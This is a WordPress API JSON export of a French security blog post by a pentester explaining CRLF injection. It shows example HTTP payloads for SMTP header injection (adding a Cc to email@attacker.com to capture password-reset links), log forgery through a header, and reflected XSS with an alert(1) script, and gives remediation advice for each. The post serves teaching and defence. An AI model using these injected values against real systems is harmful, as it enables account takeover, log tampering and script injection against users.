{"id":13938,"date":"2025-09-09T15:25:19","date_gmt":"2025-09-09T13:25:19","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=13938"},"modified":"2025-09-10T11:40:15","modified_gmt":"2025-09-10T09:40:15","slug":"injection-crlf-principes-exploitations-et-bonnes-pratiques","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/fr\/injection-crlf-principes-exploitations-et-bonnes-pratiques\/","title":{"rendered":"Injection CRLF : principes, exploitations et bonnes pratiques\u00a0"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"535\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/Injection-crlf-1-1024x535.png\" alt=\"Injection CRLF : principes, exploitations et bonnes pratiques\u00a0\" class=\"wp-image-13945\" style=\"width:431px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/Injection-crlf-1-1024x535.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/Injection-crlf-1-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/Injection-crlf-1-1536x803.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>Un simple retour \u00e0 la ligne para\u00eet anodin lorsqu\u2019on pense \u00e0 une application web. Pourtant, mal g\u00e9r\u00e9, il peut ouvrir la porte \u00e0 des attaques s\u00e9rieuses. <\/p>\n\n\n\n<p>C\u2019est pr\u00e9cis\u00e9ment le cas des injections CRLF, une vuln\u00e9rabilit\u00e9 souvent sous-estim\u00e9e qui consiste \u00e0 ins\u00e9rer des caract\u00e8res de contr\u00f4le de fin de ligne dans des requ\u00eates ou des r\u00e9ponses. <\/p>\n\n\n\n<!--more-->\n\n\n\n<p>Derri\u00e8re ce m\u00e9canisme technique se cachent des sc\u00e9narios d\u2019exploitation concrets pouvant aller de la fuite d\u2019informations sensibles \u00e0 la compromission de la fiabilit\u00e9 d\u2019un syst\u00e8me. <\/p>\n\n\n\n<p>Cet article propose de d\u00e9couvrir en d\u00e9tail ce qu\u2019est une injection CRLF, ses modes d\u2019exploitation et les bonnes pratiques pour s\u2019en prot\u00e9ger.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Guide complet sur les injections CRLF<\/h2>\n\n\n<div class=\"wp-block-aioseo-table-of-contents\"><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-quest-ce-quune-injection-crlf\">Qu\u2019est-ce qu\u2019une injection CRLF\u00a0?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploitations-de-failles-dinjection-crlf-et-bonnes-pratiques-securite\">Exploitations de failles d&#039;injection CRLF et bonnes pratiques s\u00e9curit\u00e9<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-injection-den-tetes-smtp-smtp-header-injection\">Injection d&#039;en-t\u00eates SMTP (SMTP header injection)<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-comment-fonctionne-une-injection-den-tete-smtp\">Comment fonctionne une injection d&#039;en-t\u00eate SMTP ?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploitation-de-la-vulnerabilite\">Exploitation de la vuln\u00e9rabilit\u00e9<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-comment-prevenir-les-injections-den-tetes-smtp\">Comment pr\u00e9venir les injections d&#039;en-t\u00eates SMTP ?<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-injection-de-logs-log-injection\">Injection de logs (log injection)<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-quest-ce-quune-injection-de-logs\">Qu\u2019est-ce qu\u2019une injection de logs ?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exemple-dattaque-crlf-dans-les-logs\">Exemple d\u2019attaque CRLF dans les logs<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-prevenir-les-injections-de-logs\">Pr\u00e9venir les injections de logs<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-xss-reflechie\">XSS r\u00e9fl\u00e9chie<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-comment-une-injection-crlf-mene-a-une-xss-reflechie\">Comment une injection CRLF m\u00e8ne \u00e0 une XSS r\u00e9fl\u00e9chie ?<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exemple-dinjection-crlf-aboutissant-a-une-xss\">Exemple d\u2019injection CRLF aboutissant \u00e0 une XSS<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-comment-se-premunir-dune-xss-par-injection-crlf\">Comment se pr\u00e9munir d\u2019une XSS par injection CRLF ?<\/a><\/li><\/ul><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-conclusion\">Conclusion<\/a><\/li><\/ul><\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-quest-ce-quune-injection-crlf\">Qu\u2019est-ce qu\u2019une injection CRLF&nbsp;?<\/h2>\n\n\n\n<p>L\u2019injection CRLF est une vuln\u00e9rabilit\u00e9 qui repose sur l\u2019utilisation d\u00e9tourn\u00e9e de deux caract\u00e8res sp\u00e9ciaux : le <strong>Carriage Return (CR, repr\u00e9sent\u00e9 par \u201c\\r\u201d)<\/strong> et le <strong>Line Feed (LF, repr\u00e9sent\u00e9 par \u201c\\n\u201d)<\/strong>. <\/p>\n\n\n\n<p>Ensemble, ils indiquent \u00e0 de nombreux syst\u00e8mes informatiques qu\u2019une nouvelle ligne doit commencer. C\u2019est notamment le cas des serveurs web, qui interpr\u00e8tent la s\u00e9quence \u201c<a href=\"https:\/\/owasp.org\/www-community\/vulnerabilities\/CRLF_Injection\" target=\"_blank\" rel=\"noopener\" title=\"\">CRLF<\/a>\u201d comme un retour \u00e0 la ligne.<\/p>\n\n\n\n<p>Il faut noter que cette convention n\u2019est pas universelle. Par exemple, dans les environnements Unix, le simple caract\u00e8re LF suffit pour signaler une nouvelle ligne. Mais dans le cadre des applications web, l\u2019association CRLF est fr\u00e9quemment utilis\u00e9e et constitue donc une surface d\u2019attaque potentielle.<\/p>\n\n\n\n<p>Une injection CRLF survient lorsque ces caract\u00e8res sont introduits dans un endroit du syst\u00e8me qui ne les attend pas. Si l\u2019application ne les valide pas ou ne les encode pas correctement, un attaquant peut en profiter pour alt\u00e9rer le fonctionnement normal d\u2019une requ\u00eate ou d\u2019une r\u00e9ponse. En pratique, cela revient \u00e0 \u201ccasser\u201d la structure pr\u00e9vue par le serveur et \u00e0 ins\u00e9rer du contenu non d\u00e9sir\u00e9 dans un contexte non pr\u00e9vu.<\/p>\n\n\n\n<p>Ce principe peut para\u00eetre abstrait \u00e0 premi\u00e8re vue. C\u2019est pourquoi nous allons l\u2019illustrer \u00e0 travers plusieurs sc\u00e9narios concrets d&rsquo;exploitation d&rsquo;applications web, afin de mieux comprendre la port\u00e9e et les risques de cette vuln\u00e9rabilit\u00e9.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-exploitations-de-failles-dinjection-crlf-et-bonnes-pratiques-securite\">Exploitations de failles d&rsquo;injection CRLF et bonnes pratiques s\u00e9curit\u00e9<\/h2>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-223c9a6f10a88b4848d43dafc28a496a\" id=\"aioseo-injection-den-tetes-smtp-smtp-header-injection\" style=\"color:#c0b800\">Injection d&rsquo;en-t\u00eates SMTP (SMTP header injection)<\/h3>\n\n\n\n<p>L\u2019un des sc\u00e9narios les plus courants d\u2019injection CRLF concerne le protocole SMTP, utilis\u00e9 pour l\u2019envoi et la r\u00e9ception d&#8217;emails. <\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-comment-fonctionne-une-injection-den-tete-smtp\">Comment fonctionne une injection d&rsquo;en-t\u00eate SMTP ?<\/h4>\n\n\n\n<p>Dans le contexte d\u2019une application web, cette vuln\u00e9rabilit\u00e9 se manifeste g\u00e9n\u00e9ralement dans les fonctionnalit\u00e9s qui envoient automatiquement des emails aux utilisateurs, comme la r\u00e9initialisation de mot de passe.<\/p>\n\n\n\n<p>Lorsqu\u2019un utilisateur demande \u00e0 r\u00e9initialiser son mot de passe, l\u2019application prend l\u2019adresse renseign\u00e9e, forge un message SMTP, puis l\u2019envoie au serveur de messagerie. En conditions normales, ce processus reste transparent pour l\u2019utilisateur.<\/p>\n\n\n\n<p>Imaginons par exemple un \u00e9change SMTP d&rsquo;un client envoyant un email : <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>telnet smtp.company.com 25\nConnected to smtp.company.com.\n220 smtp.company.com SMTP Ready\nHELO client\n250-smtp.company.com\n250-PIPELINING\n250 8BITMIME       \nMAIL FROM: &lt;admin@company.com&gt;\n250 Sender ok\n<strong>RCPT TO: dummy77@company.nl<\/strong>\n250 Recipient ok.\nDATA\n354 Enter mail, end with \".\" on a line by itself\nSubject: Contact\n\nCorps du texte\n.\n250 Ok\nQUIT\n221 Closing connection\nConnection closed by foreign host.<\/code><\/pre>\n\n\n\n<p>Dans la requ\u00eate HTTP, l\u2019utilisateur aura le contr\u00f4le sur le champ \u00ab&nbsp;RCPT TO&nbsp;\u00bb.<\/p>\n\n\n\n<p>La requ\u00eate l\u00e9gitime sera la suivante&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/authentication\/forgot-password HTTP\/2\nHost: vulnerable.vaadata.com\n\n{\"login\":\"dummy77@company.nl\"}<\/code><\/pre>\n\n\n\n<p>Cette requ\u00eate est correctement trait\u00e9e. Le serveur SMTP construit l\u2019email et le transmet uniquement \u00e0 l\u2019adresse indiqu\u00e9e (<code>dummy77@company.nl<\/code>) avec le lien de r\u00e9initialisation du mot de passe.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exploitation-de-la-vulnerabilite\">Exploitation de la vuln\u00e9rabilit\u00e9<\/h4>\n\n\n\n<p>Le probl\u00e8me appara\u00eet si les caract\u00e8res CRLF ne sont pas filtr\u00e9s. Un attaquant peut alors injecter un nouvel en-t\u00eate dans le flux SMTP. Par exemple :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>POST \/api\/authentication\/forgot-password HTTP\/2\nHost: vulnerable.vaadata.com\n\n{\"login\":\"dummy77@company.nl\\r\\nCc: email@attacker.com\"}<\/code><\/pre>\n\n\n\n<p>Dans ce cas, les en-t\u00eates g\u00e9n\u00e9r\u00e9s ne se limitent plus au destinataire initial. On obtient :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>From: no-reply@vaadata.com\nSubject: Change your password\nTo: dummy77@company.com\nCc: email@attacker.com<\/code><\/pre>\n\n\n\n<p>Gr\u00e2ce \u00e0 cette manipulation, l\u2019attaquant se met en copie du message (avec le header Cc) et re\u00e7oit lui aussi le lien de r\u00e9initialisation du mot de passe. L\u2019exploitation peut \u00eatre encore plus discr\u00e8te en injectant un champ Bcc, qui reste invisible pour le destinataire l\u00e9gitime.<\/p>\n\n\n\n<p>Cette vuln\u00e9rabilit\u00e9 trouve souvent son origine dans des librairies de gestion SMTP utilis\u00e9es par les applications. Qu\u2019elles soient tierces ou d\u00e9velopp\u00e9es en interne, le risque est le m\u00eame : l\u2019absence de validation et d\u2019encodage des entr\u00e9es utilisateur.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-comment-prevenir-les-injections-den-tetes-smtp\">Comment pr\u00e9venir les injections d&rsquo;en-t\u00eates SMTP ? <\/h4>\n\n\n\n<p>La correction passe donc par plusieurs niveaux de d\u00e9fense :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Valider strictement l\u2019entr\u00e9e<\/strong> : l\u2019adresse email doit correspondre \u00e0 un format valide, sans tol\u00e9rer les caract\u00e8res \u201c<code>\\r<\/code>\u201d et \u201c<code>\\n<\/code>\u201d.<\/li>\n\n\n\n<li><strong>Encoder les caract\u00e8res de contr\u00f4le<\/strong> : s\u2019ils apparaissent malgr\u00e9 tout, ils doivent \u00eatre transform\u00e9s pour ne pas \u00eatre interpr\u00e9t\u00e9s par le serveur SMTP.<\/li>\n\n\n\n<li><strong>Corriger au niveau applicatif<\/strong> : si la librairie utilis\u00e9e n\u2019int\u00e8gre pas de correctif, l\u2019application ou l\u2019API doit mettre en place ses propres m\u00e9canismes de protection.<\/li>\n<\/ul>\n\n\n\n<p>En r\u00e9sum\u00e9, ce sc\u00e9nario montre qu\u2019une simple absence de contr\u00f4le sur les retours \u00e0 la ligne peut suffire \u00e0 d\u00e9tourner une fonctionnalit\u00e9 critique comme la r\u00e9initialisation de mot de passe.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-dcc80111a052861ca977390ee4e46b06\" id=\"aioseo-injection-de-logs-log-injection\" style=\"color:#c0b800\">Injection de logs (log injection)<\/h3>\n\n\n\n<p>Les injections CRLF ne se limitent pas aux \u00e9changes SMTP. Elles peuvent \u00e9galement affecter le syst\u00e8me de journalisation (<a href=\"https:\/\/www.vaadata.com\/blog\/fr\/logging-monitoring-definitions-et-bonnes-pratiques\/\" target=\"_blank\" rel=\"noopener\" title=\"\">logging<\/a>) d\u2019une application web. <\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-quest-ce-quune-injection-de-logs\">Qu\u2019est-ce qu\u2019une injection de logs ?<\/h4>\n\n\n\n<p>La plupart des frameworks proposent des m\u00e9canismes de logs int\u00e9gr\u00e9s, et il est fortement recommand\u00e9 de les utiliser, notamment pour d\u00e9tecter des intrusions ou suivre l\u2019usage d\u2019une application. Mais si les donn\u00e9es ne sont pas correctement contr\u00f4l\u00e9es avant d\u2019\u00eatre enregistr\u00e9es, ces logs peuvent devenir une cible.<\/p>\n\n\n\n<p>Prenons l\u2019exemple d\u2019une application qui enregistre les actions des utilisateurs dans un fichier, avec un format simple :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>HTTP verb   HTTP status   Endpoint     Client-IP       X-User-Id<\/strong>\nGET         200           \/home        5.50.81.190     123-456\nPATCH       200           \/user        5.50.81.190     123-456\nGET         200           \/login       5.45.20.32      Unauthenticated<\/code><\/pre>\n\n\n\n<p>Chaque requ\u00eate authentifi\u00e9e contient un en-t\u00eate <code>X-User-Id<\/code>, automatiquement ajout\u00e9 par le navigateur. Dans le journal ci-dessus, on peut suivre le parcours de l\u2019utilisateur ayant l\u2019ID <code>123-456<\/code>, qui a visit\u00e9 la page d\u2019accueil puis modifi\u00e9 son profil.<\/p>\n\n\n\n<p>Pour \u00e9viter les abus, les d\u00e9veloppeurs ont bien pr\u00e9vu qu\u2019il soit impossible d\u2019envoyer une requ\u00eate sans cet en-t\u00eate (sauf sur les routes publiques). Mais ils ont oubli\u00e9 un d\u00e9tail : les donn\u00e9es de ce header sont enregistr\u00e9es telles quelles, sans nettoyage. C\u2019est l\u00e0 qu\u2019une injection CRLF peut entrer en jeu.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exemple-dattaque-crlf-dans-les-logs\">Exemple d\u2019attaque CRLF dans les logs<\/h4>\n\n\n\n<p>Un utilisateur malveillant, d\u00e9j\u00e0 authentifi\u00e9, pourrait par exemple envoyer la requ\u00eate suivante :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/search HTTP\/2\nHost: vulnerable.vaadata.com\nAuthorization: Bearer &lt;...&gt;\nX-User-Id: 789-123\\r\\nGET 200 \/admin 5.48.16.120 Unauthenticated<\/code><\/pre>\n\n\n\n<p>Le fichier de log g\u00e9n\u00e9r\u00e9 ressemblerait alors \u00e0 ceci :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>HTTP verb   HTTP status   Endpoint     Client-IP       X-User-Id<\/strong>\nGET         200           \/home        5.50.81.190     123-456\nPATCH       200           \/user        5.50.81.190     123-456\nGET         200           \/login       5.45.20.32      Unauthenticated\nGET         200           \/search      5.50.81.190     123-456\nGET         200           \/admin       5.48.16.120     Unauthenticated<\/code><\/pre>\n\n\n\n<p>La ligne inject\u00e9e fait croire qu\u2019une adresse IP a acc\u00e9d\u00e9 \u00e0 la page d\u2019administration, alors que ce n\u2019est pas le cas. L\u2019administrateur du syst\u00e8me peut \u00eatre induit en erreur, perdre du temps \u00e0 enqu\u00eater et, plus largement, perdre confiance dans l\u2019int\u00e9grit\u00e9 des journaux.<\/p>\n\n\n\n<p>M\u00eame si cette attaque ne compromet pas directement les donn\u00e9es ou le serveur, elle mine la fiabilit\u00e9 du syst\u00e8me de logs, qui devient alors inutilisable comme outil de s\u00e9curit\u00e9.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-prevenir-les-injections-de-logs\">Pr\u00e9venir les injections de logs<\/h4>\n\n\n\n<p>La solution consiste \u00e0 emp\u00eacher l\u2019interpr\u00e9tation des caract\u00e8res sp\u00e9ciaux. Pour cela, les caract\u00e8res CR (<code>\\r<\/code>) et LF (<code>\\n<\/code>) pr\u00e9sents dans les entr\u00e9es doivent \u00eatre encod\u00e9s (par exemple en URL-encoding) avant d\u2019\u00eatre stock\u00e9s. Ainsi, ils ne pourront pas briser la structure du fichier de log.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-a23846614493addb6bc80bb695a3508f\" id=\"aioseo-xss-reflechie\" style=\"color:#c0b800\">XSS r\u00e9fl\u00e9chie<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-comment-une-injection-crlf-mene-a-une-xss-reflechie\">Comment une injection CRLF m\u00e8ne \u00e0 une XSS r\u00e9fl\u00e9chie ?<\/h4>\n\n\n\n<p>Un autre sc\u00e9nario d\u2019exploitation des injections CRLF concerne les <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/failles-xss-principes-types-dattaques-exploitations-et-bonnes-pratiques-securite\/\" target=\"_blank\" rel=\"noopener\" title=\"\">failles de type XSS r\u00e9fl\u00e9chie<\/a>. <\/p>\n\n\n\n<p>Ce type de vuln\u00e9rabilit\u00e9 appara\u00eet lorsque l\u2019application reprend des donn\u00e9es issues de la requ\u00eate HTTP pour les refl\u00e9ter directement dans sa r\u00e9ponse, sans les filtrer ni les encoder.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exemple-dinjection-crlf-aboutissant-a-une-xss\">Exemple d\u2019injection CRLF aboutissant \u00e0 une XSS<\/h4>\n\n\n\n<p>Imaginons une application multi-tenant dans laquelle un utilisateur peut appartenir \u00e0 plusieurs organisations. Pour d\u00e9terminer quel environnement afficher, le navigateur envoie un param\u00e8tre <code>X-Organization-Id<\/code>. <\/p>\n\n\n\n<p>Une requ\u00eate\/r\u00e9ponse l\u00e9gitime pourrait ressembler \u00e0 ceci :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/home?X-Organization-Id=1234 HTTP\/2\nHost: vulnerable.vaadata.com\nAuthorization: Bearer &lt;...&gt;\n\nHTTP\/2 200 OK\nDate: Fri, 08 Aug 2025 08:11:55 GMT\nContent-Type: application\/json\nX-Organization-Id: 1234\n\n&#91;\u2026 HTML CONTENT \u2026]<\/code><\/pre>\n\n\n\n<p>On observe que le param\u00e8tre est repris tel quel dans la r\u00e9ponse du serveur. Cela ouvre la voie \u00e0 une injection CRLF, en encodant par exemple les caract\u00e8res sp\u00e9ciaux <code>%0d%0a<\/code> (qui correspondent \u00e0 <code>\\r\\n<\/code>) :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/home?X-Organization-Id=1234%0d%0a%0d%0a&lt;html&gt;&lt;script&gt;alert(1)&lt;\/script&gt;&lt;\/html&gt; HTTP\/2\nHost: vulnerable.vaadata.com\nAuthorization: Bearer &lt;...&gt;\n\nHTTP\/2 200 OK\nDate: Fri, 08 Aug 2025 08:11:55 GMT\nContent-Type: application\/json\nX-Organization-Id: 1234\n\n&lt;html&gt;&lt;script&gt;alert(1)&lt;\/script&gt;&lt;\/html&gt;\n&#91;\u2026 HTML CONTENT \u2026]<\/code><\/pre>\n\n\n\n<p>Avec cette injection de deux retours \u00e0 la ligne, l\u2019attaquant parvient \u00e0 sortir du contexte des en-t\u00eates et \u00e0 ins\u00e9rer du code HTML\/JavaScript directement dans le corps de la r\u00e9ponse.<\/p>\n\n\n\n<p>Le navigateur ex\u00e9cute alors ce code, ce qui provoque une XSS. Dans sa forme la plus simple, cela se traduit par une alerte \u00e0 l\u2019\u00e9cran. Mais l\u2019impact peut \u00eatre bien plus s\u00e9rieux si l\u2019application utilise un syst\u00e8me de cache : dans ce cas, une <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/web-cache-poisoning-fonctionnement-et-bonnes-pratiques-securite\/\" target=\"_blank\" rel=\"noopener\" title=\"\">attaque de type Cache Poisoning<\/a> pourrait permettre d\u2019infecter tous les utilisateurs d\u2019une organisation, voire l\u2019ensemble de la plateforme.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-comment-se-premunir-dune-xss-par-injection-crlf\">Comment se pr\u00e9munir d\u2019une XSS par injection CRLF ?<\/h4>\n\n\n\n<p>Cet exemple illustre que, bien qu\u2019elles soient moins connues que d\u2019autres injections, les failles CRLF peuvent avoir des cons\u00e9quences graves. <\/p>\n\n\n\n<p>La rem\u00e9diation reste la m\u00eame quel que soit le vecteur : il faut s\u2019assurer que les caract\u00e8res CRLF (<code>\\r<\/code> et <code>\\n<\/code>) sont correctement encod\u00e9s afin qu\u2019ils ne soient jamais interpr\u00e9t\u00e9s comme des retours \u00e0 la ligne par le serveur.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-conclusion\">Conclusion<\/h2>\n\n\n\n<p>Les injections CRLF illustrent parfaitement comment un m\u00e9canisme aussi banal qu\u2019un retour \u00e0 la ligne peut devenir une v\u00e9ritable faille de s\u00e9curit\u00e9. Derri\u00e8re ce d\u00e9tail technique se cachent des sc\u00e9narios concrets et vari\u00e9s : vol de liens de r\u00e9initialisation de mot de passe via SMTP, falsification de journaux applicatifs ou encore d\u00e9clenchement d\u2019attaques XSS.<\/p>\n\n\n\n<p>Si leurs impacts diff\u00e8rent selon le contexte, toutes ces exploitations reposent sur la m\u00eame faiblesse : l\u2019absence de contr\u00f4le ou d\u2019encodage des caract\u00e8res de retour chariot et de saut de ligne. C\u2019est pourquoi la meilleure d\u00e9fense reste double : <strong>valider strictement les entr\u00e9es utilisateur<\/strong> et <strong>encoder correctement les caract\u00e8res sensibles<\/strong> avant qu\u2019ils ne soient interpr\u00e9t\u00e9s par un serveur ou stock\u00e9s par l\u2019application.<\/p>\n\n\n\n<p>Bien que souvent n\u00e9glig\u00e9es, ces vuln\u00e9rabilit\u00e9s m\u00e9ritent toute l\u2019attention des \u00e9quipes de d\u00e9veloppement et de s\u00e9curit\u00e9. En int\u00e9grant ces bonnes pratiques d\u00e8s la phase de conception, il est possible de r\u00e9duire consid\u00e9rablement les risques et de pr\u00e9server l\u2019int\u00e9grit\u00e9 des syst\u00e8mes web face \u00e0 ce type d\u2019attaques discr\u00e8tes mais redoutablement efficaces.<\/p>\n\n\n\n<p><strong>Auteur : Julien BRACON &#8211; Pentester @Vaadata<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Un simple retour \u00e0 la ligne para\u00eet anodin lorsqu\u2019on pense \u00e0 une application web. Pourtant, mal g\u00e9r\u00e9, il peut ouvrir la porte \u00e0 des attaques s\u00e9rieuses. C\u2019est pr\u00e9cis\u00e9ment le cas des injections CRLF, une vuln\u00e9rabilit\u00e9 souvent sous-estim\u00e9e qui consiste \u00e0 ins\u00e9rer des caract\u00e8res de contr\u00f4le de fin de ligne dans des requ\u00eates ou des r\u00e9ponses.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[],"class_list":{"0":"post-13938","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technique"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/13938","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/comments?post=13938"}],"version-history":[{"count":10,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/13938\/revisions"}],"predecessor-version":[{"id":13960,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/posts\/13938\/revisions\/13960"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/media?parent=13938"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/categories?post=13938"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/fr\/wp-json\/wp\/v2\/tags?post=13938"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}